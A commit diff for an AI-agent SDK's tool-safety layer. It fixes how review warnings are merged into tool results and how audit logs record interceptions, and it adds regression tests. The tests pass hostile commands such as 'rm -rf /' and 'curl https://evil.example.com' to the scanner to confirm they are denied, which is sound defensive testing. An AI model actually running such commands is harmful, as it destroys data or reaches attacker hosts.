fix(safety): merge review warning in _after; fix intercepted audit

CongkeChen review #3:

1. _filter.py: NEEDS_HUMAN_REVIEW warning was lost because BaseFilter.run overwrites result.rsp with the tool's return value in handle(). Stash the report in a ContextVar during _before and merge safety_warning/safety_risk_level/safety_rule_ids in _after so the caller sees them.

2. _wrapper.py: intercepted=report.blocked used policy.block_on_review, so when safety_wrapper(raise_on_deny=False) or SafetyReviewedSkillRunner(block_review=True) overrode the policy, the audit falsely recorded intercepted. Now compute intercepted from the actual control flow.

3. _wrapper.py: drop unused block_on_review param of _scan_code_input.

Regression tests: test_run_filters_needs_review_merges_warning_into_result, test_skill_runner_block_review_overrides_policy_records_intercepted, test_safety_wrapper_raise_on_deny_false_records_intercepted_false

Author: Violet2314

tests/tool_safety/test_filter_chain.py

@@ -76,6 +76,32 @@ async def _run():
     assert result["success"] is True
 
 
+def test_run_filters_needs_review_merges_warning_into_result():
+    """Non-blocking review must merge safety_warning into the tool result.
+
+    Regression for CongkeChen's review comment: setting rsp.rsp in _before is
+    useless because BaseFilter.run overwrites result.rsp with the tool's return
+    value in the handle() step. _after must merge the warning fields so the
+    caller actually sees them.
+    """
+    # A bash command that triggers NEEDS_HUMAN_REVIEW (MEDIUM): backgrounding a
+    # non-network process. Network backgrounding is HIGH/DENY, but plain
+    # background is MEDIUM/review under the default policy.
+    flt = ToolSafetyFilter(_policy(block_on_review=False))
+
+    async def _handle():
+        return {"success": True, "stdout": "ran"}
+
+    async def _run():
+        return await run_filters(None, {"command": "sleep 100 &"}, [flt], _handle)
+
+    result = asyncio.run(_run())
+    assert result["success"] is True
+    assert result.get("safety_warning") == "TOOL_SAFETY_NEEDS_REVIEW"
+    assert "safety_risk_level" in result
+    assert "safety_rule_ids" in result
+
+
 def test_base_filter_run_deny_keeps_error_none():
     """Direct BaseFilter.run must keep error=None and is_continue=False on deny."""
     flt = ToolSafetyFilter(_policy())

tests/tool_safety/test_wrapper.py

@@ -212,4 +212,65 @@ def test_skill_runner_allows_safe_command(tmp_path: Path):
     result = asyncio.run(safe.run(None, args))
 
     assert result["success"] is True
-    assert runner.calls == 1
+    assert runner.calls == 1
+
+
+def test_skill_runner_block_review_overrides_policy_records_intercepted(tmp_path: Path):
+    """When block_review=True overrides policy.block_on_review=False, audit
+    must record intercepted=True for a NEEDS_HUMAN_REVIEW hit.
+
+    Regression for CongkeChen's review: intercepted=report.blocked used
+    policy.block_on_review, so when the runner blocked review via the
+    block_review parameter, the audit falsely showed intercepted=False.
+    """
+    runner = _FakeSkillRunner()
+    # policy.block_on_review=False (default); block_review=True overrides it.
+    safe = SafetyReviewedSkillRunner(
+        runner,
+        PolicyConfig(),
+        audit_path=str(tmp_path / "audit.jsonl"),
+        block_review=True,
+        tool_name="skill_run",
+    )
+
+    # sleep 100 & triggers NEEDS_HUMAN_REVIEW (MEDIUM): background non-network process.
+    args = {"command": "sleep 100 &"}
+    result = asyncio.run(safe.run(None, args))
+
+    assert result["success"] is False
+    assert result["error"] == "SKILL_NEEDS_REVIEW"
+    assert runner.calls == 0
+
+    audit_path = tmp_path / "audit.jsonl"
+    assert audit_path.exists()
+    rec = json.loads(audit_path.read_text(encoding="utf-8").strip().splitlines()[-1])
+    assert rec["decision"] == "needs_human_review"
+    assert rec["intercepted"] is True
+
+
+def test_safety_wrapper_raise_on_deny_false_records_intercepted_false(tmp_path: Path):
+    """When raise_on_deny=False, a DENY hit must not be recorded as intercepted.
+
+    Regression for CongkeChen's review: intercepted=report.blocked used
+    policy.block_on_review, so a DENY with raise_on_deny=False was falsely
+    recorded as intercepted=True. The actual interception is raise_on_deny.
+    """
+
+    @safety_wrapper(
+        tool_name="denied_tool",
+        policy=PolicyConfig(),
+        audit_path=str(tmp_path / "audit.jsonl"),
+        raise_on_deny=False,
+    )
+    async def run_tool(*, script):
+        return "ran"
+
+    result = asyncio.run(run_tool(script="rm -rf /"))
+
+    assert result == "ran"
+
+    audit_path = tmp_path / "audit.jsonl"
+    assert audit_path.exists()
+    rec = json.loads(audit_path.read_text(encoding="utf-8").strip().splitlines()[-1])
+    assert rec["decision"] == "deny"
+    assert rec["intercepted"] is False

tests/tool_safety/test_wrapper_language.py

@@ -44,7 +44,7 @@ async def execute_code(self, invocation_context, input_data):
 def test_scan_code_input_bash_block_denies_rm():
     scanner = SafetyScanner(PolicyConfig())
     inp = _Input(code_blocks=[_Block("rm -rf /", language="bash")])
-    report = _scan_code_input(scanner, inp, block_on_review=False)
+    report = _scan_code_input(scanner, inp)
     assert report is not None
     assert report.decision.value == "deny"
     assert "R001_dangerous_files" in report.rule_ids
@@ -53,7 +53,7 @@ def test_scan_code_input_bash_block_denies_rm():
 def test_scan_code_input_infers_bash_when_language_empty():
     scanner = SafetyScanner(PolicyConfig())
     inp = _Input(code_blocks=[_Block("curl https://evil.example.com", language="")])
-    report = _scan_code_input(scanner, inp, block_on_review=False)
+    report = _scan_code_input(scanner, inp)
     assert report is not None
     assert report.decision.value == "deny"
 
@@ -73,8 +73,8 @@ def test_mislabeled_python_bash_payload_still_denied():
     """language='python' but content is bash rm -rf must still deny."""
     scanner = SafetyScanner(PolicyConfig())
     inp = _Input(code_blocks=[_Block("rm -rf /", language="python")])
-    report = _scan_code_input(scanner, inp, block_on_review=False)
-    # Content inference on empty/mislabel path: force-check via normalize.
+    report = _scan_code_input(scanner, inp)
+    assert report.decision.value == "deny"
     from trpc_agent_sdk.safety._ast_utils import normalize_language
     from trpc_agent_sdk.safety import ScanInput as SI
     lang = normalize_language(SI(script="rm -rf /", language=""))

trpc_agent_sdk/safety/_filter.py

@@ -6,6 +6,7 @@
 """ToolSafetyFilter: pre-execution safety filter for Tool / Skill scripts."""
 from __future__ import annotations
 
+import contextvars
 from typing import Any
 from typing import Optional
 
@@ -17,12 +18,21 @@
 from ._policy import PolicyConfig
 from ._scanner import SafetyScanner
 from ._types import Decision
+from ._types import SafetyReport
 from ._types import ScanInput
 
 _SCRIPT_ARG_KEYS = ("command", "script", "code", "cmd", "bash", "shell_command")
 _LANGUAGE_ARG_KEYS = ("language", "lang")
 _WORKDIR_ARG_KEYS = ("cwd", "workdir", "working_dir")
 
+# ContextVar carries the non-blocking review report from _before to _after.
+# We cannot stash it on the FilterResult because BaseFilter.run may replace
+# the whole result object with the one returned by handle(). ContextVar is
+# async-safe: each task sees its own value across awaits.
+_REVIEW_REPORT: contextvars.ContextVar[Optional[SafetyReport]] = contextvars.ContextVar(
+    "_safety_review_report", default=None
+)
+
 
 class ToolSafetyFilter(BaseFilter):
     """Pre-execution safety filter for Tool / Skill / CodeExecutor scripts.
@@ -31,6 +41,13 @@ class ToolSafetyFilter(BaseFilter):
     ``policy.block_on_review``), the filter sets ``is_continue=False`` so the
     tool's ``_run_async_impl`` is never called. An audit record is always
     written, and OpenTelemetry span attributes are set on the current span.
+
+    For non-blocking NEEDS_HUMAN_REVIEW (``block_on_review=False``), the tool
+    is allowed to run, and the warning is merged into the tool's result dict
+    (keys ``safety_warning`` / ``safety_risk_level`` / ``safety_rule_ids``) in
+    ``_after`` so the caller actually sees it. This is necessary because
+    ``BaseFilter.run`` overwrites ``result.rsp`` with the tool's return value
+    after ``_before`` returns.
     """
 
     def __init__(
@@ -105,14 +122,34 @@ async def _before(self, ctx: Any, req: Any, rsp: FilterResult) -> None:
             return
 
         if report.decision == Decision.NEEDS_HUMAN_REVIEW:
-            # Non-blocking review: annotate rsp.rsp with a warning field. Do NOT
-            # put a string into rsp.error (would crash run_filters). Full details
-            # remain in audit / OTel.
-            if not isinstance(rsp.rsp, dict):
-                rsp.rsp = {}
-            rsp.rsp["safety_warning"] = "TOOL_SAFETY_NEEDS_REVIEW"
-            rsp.rsp["safety_risk_level"] = report.risk_level.value
-            rsp.rsp["safety_rule_ids"] = list(report.rule_ids)
+            # Non-blocking review: stash the report via ContextVar so _after
+            # (run after the tool executes) can merge the warning into the
+            # tool's actual result. Setting rsp.rsp here is useless because
+            # BaseFilter.run's handle() step overwrites result.rsp with the
+            # tool's return value.
+            _REVIEW_REPORT.set(report)
+
+    async def _after(self, ctx: Any, req: Any, rsp: FilterResult) -> None:
+        """Merge non-blocking safety review warnings into the tool result.
+
+        ``_before`` cannot attach the warning to ``rsp.rsp`` because
+        ``BaseFilter.run`` overwrites ``result.rsp`` with the tool's return
+        value in the handle() step. We instead stash the report in a
+        ContextVar during ``_before`` and merge the warning fields here,
+        after the tool has run, so the caller actually sees them.
+        """
+        report = _REVIEW_REPORT.get()
+        if report is None:
+            return
+        # Clear the stash so it does not leak to the next call in this context.
+        _REVIEW_REPORT.set(None)
+        if not isinstance(rsp.rsp, dict):
+            # Wrap non-dict results so we can attach warning fields without
+            # losing the original payload.
+            rsp.rsp = {"result": rsp.rsp}
+        rsp.rsp["safety_warning"] = "TOOL_SAFETY_NEEDS_REVIEW"
+        rsp.rsp["safety_risk_level"] = report.risk_level.value
+        rsp.rsp["safety_rule_ids"] = list(report.rule_ids)
 
     def _resolve_tool_name(self, ctx: Any) -> str:
         get_tool_var = self._get_tool_var

trpc_agent_sdk/safety/_wrapper.py

@@ -61,7 +61,7 @@ def _normalize_block_language(raw_lang: str | None, code: str) -> str:
     return normalize_language(ScanInput(script=code or "", language=""))
 
 
-def _scan_code_input(scanner: SafetyScanner, input_data, *, block_on_review: bool):
+def _scan_code_input(scanner: SafetyScanner, input_data):
     """Scan code / code_blocks with per-block language; return worst report."""
     order = {
         RiskLevel.NONE: 0,
@@ -126,7 +126,7 @@ def __init__(
         self._block_on_review = block_on_review or policy.block_on_review
 
     async def execute_code(self, invocation_context, input_data):
-        report = _scan_code_input(self._scanner, input_data, block_on_review=self._block_on_review)
+        report = _scan_code_input(self._scanner, input_data)
         should_block = _should_block_report(report, self._block_on_review)
         if report is not None:
             self._audit.log(report, intercepted=should_block)
@@ -154,7 +154,7 @@ def safe_code_executor(
     class _SafeCodeExecutor:
 
         async def execute_code(self, invocation_context, input_data):
-            report = _scan_code_input(scanner, input_data, block_on_review=block_review)
+            report = _scan_code_input(scanner, input_data)
             should_block = _should_block_report(report, block_review)
             if report is not None:
                 audit.log(report, intercepted=should_block)
@@ -209,8 +209,12 @@ def _guard(args, kwargs):
         if not script or not isinstance(script, str):
             return
         report = _scanner.scan(ScanInput(script=script, tool_name=tool_name))
-        _audit.log(report, intercepted=report.blocked)
-        if report.decision == Decision.DENY and raise_on_deny:
+        # intercepted must reflect the actual interception below, not
+        # report.blocked (which uses policy.block_on_review). safety_wrapper
+        # only blocks on DENY when raise_on_deny=True; review is never blocked.
+        intercepted = report.decision == Decision.DENY and raise_on_deny
+        _audit.log(report, intercepted=intercepted)
+        if intercepted:
             raise SafetyDeniedError(report)
 
     def decorator(func):
@@ -253,7 +257,11 @@ async def run(self, tool_context, args):
         script = self._extract_script(args)
         if script:
             report = self._scanner.scan(ScanInput(script=script, tool_name=self._tool_name))
-            self._audit.log(report, intercepted=report.blocked)
+            # intercepted must reflect the actual interception below, not
+            # report.blocked (which uses policy.block_on_review). Reuse
+            # _should_block_report so audit matches the real control flow.
+            intercepted = _should_block_report(report, self._block_review)
+            self._audit.log(report, intercepted=intercepted)
             if report.decision == Decision.DENY:
                 return {
                     "success": False,